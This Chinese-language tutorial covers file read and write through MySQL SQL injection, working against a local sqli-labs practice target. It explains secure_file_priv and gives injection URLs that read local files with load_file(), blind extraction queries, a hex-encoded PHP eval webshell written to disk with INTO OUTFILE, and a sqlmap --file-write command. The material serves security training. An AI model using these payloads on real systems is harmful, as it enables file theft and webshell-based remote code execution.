sql注入文件读写

secure_file_priv对读写文件的影响：

secure_file_priv在mysql的my.ini中设置，用来限制 load_file()、into outfile、into dumpfile 函数在哪个目录下拥有上传或者读取文件的权限。

在 MySQL 5.5 之前 secure_file_priv 默认为空

在 MySQL 5.5 之后 secure_file_priv 默认为NULL

---

sql注入文件读写方式：

load_file() ：读取指定文件

LOAD DATA LOCAL INFILE：读取指定文件[当secure_file_priv为null时可以代替load_file()]

into outfile ：将查询的数据写入文件中

into dumpfile：将查询的数据写入文件中 (只能写入一行数据)

sqlmap: --file-write 要写入的文件 --file-dest 写入的绝对路径

---

查看secure_file_priv设置状态

show global variables like 'secure%';

限制mysqld 不允许导入/导出：secure_file_priv=null (默认)

限制mysqld 的导入/导出 只能发生在/tmp/目录下：secure_file_priv=/tmp/

不对mysqld 的导入/导出做限制：secure_file_priv=''

---

当secure_file_priv=''时：

load_file()读本地文件：

union注入读取本地文件

http://127.0.0.1/mysql/Less-1/?id=-1' union select 1,2,load_file('c:/users/91839/desktop/2.txt') --+

也可以把文件名转换成16进制

http://127.0.0.1/mysql/Less-1/?id=-1' union select 1,2,load_file(0x633A2F75736572732F39313833392F6465736B746F702F312E747874) --+

利用盲注读取，然后用二分法一个一个的判断字符

其中2.txt第一个字符为c，按照ascii码对照表对应为99

http://127.0.0.1/mysql/Less-1/?id=1' and ascii(mid((select (load_file('c:/users/91839/desktop/2.txt'))),1,1))>98 --+

http://127.0.0.1/mysql/Less-1/?id=1' and ascii(mid((select (load_file('c:/users/91839/desktop/2.txt'))),1,1))>99 --+

同样也可以用时间盲注，用同样的方式手工把表名和列名读出来

into outfile/into dumpfile：将查询的数据写入文件中

(into dumpfile只能写入一行数据)

利用union注入写入一句话木马 into outfile 和 into dumpfile 都可以

http://127.0.0.1/mysql/Less-1/?id=-1' union select 1,2,'一句话' into outfile 'c:/users/91839/desktop/10.txt' --+

照样可以将一句话木马转换成16进制

http://127.0.0.1/mysql/Less-1/?id=-1' union select 1,2,0x3C3F70687020406576616C28245F504F53545B6361726E5D293B3F3E into outfile 'c:/users/91839/desktop/200.txt' --+

--file-write --file-dest：利用sqlmap写入文件

在sqlmap中，如果写的权限，知道绝对路径，并且secure_file_priv为空就可以写入文件

利用sqlmap将本地文件写入靶机的c:/users/91839/desktop/shell.txt

python3 sqlmap.py -u "http://127.0.0.1/mysql/Less-1/?id=1" --random-agent --risk 3 --file-write "shell.txt" --file-dest "c:/users/91839/desktop/shell.txt"

---

当secure_file_priv=null时：

LOAD DATA LOCAL INFILE

LOAD DATA LOCAL INFILE与load_file都是读取本地文件，load_file只能在secure_file_priv为空时读取，而LOAD DATA LOCAL INFILE不受限制。所以当secure_file_priv 的值为 NULL的时候可以用LOAD DATA LOCAL INFILE来充当load_file的效果

drop table mysql.m1; //先删除掉这个表

CREATE TABLE mysql.m1 (code TEXT ); //然后创建

LOAD DATA LOCAL INFILE 'c:/users/91839/desktop/1.txt' INTO TABLE mysql.m1 fields terminated by ''; //读取文件

select * from mysql.m1; //查看文件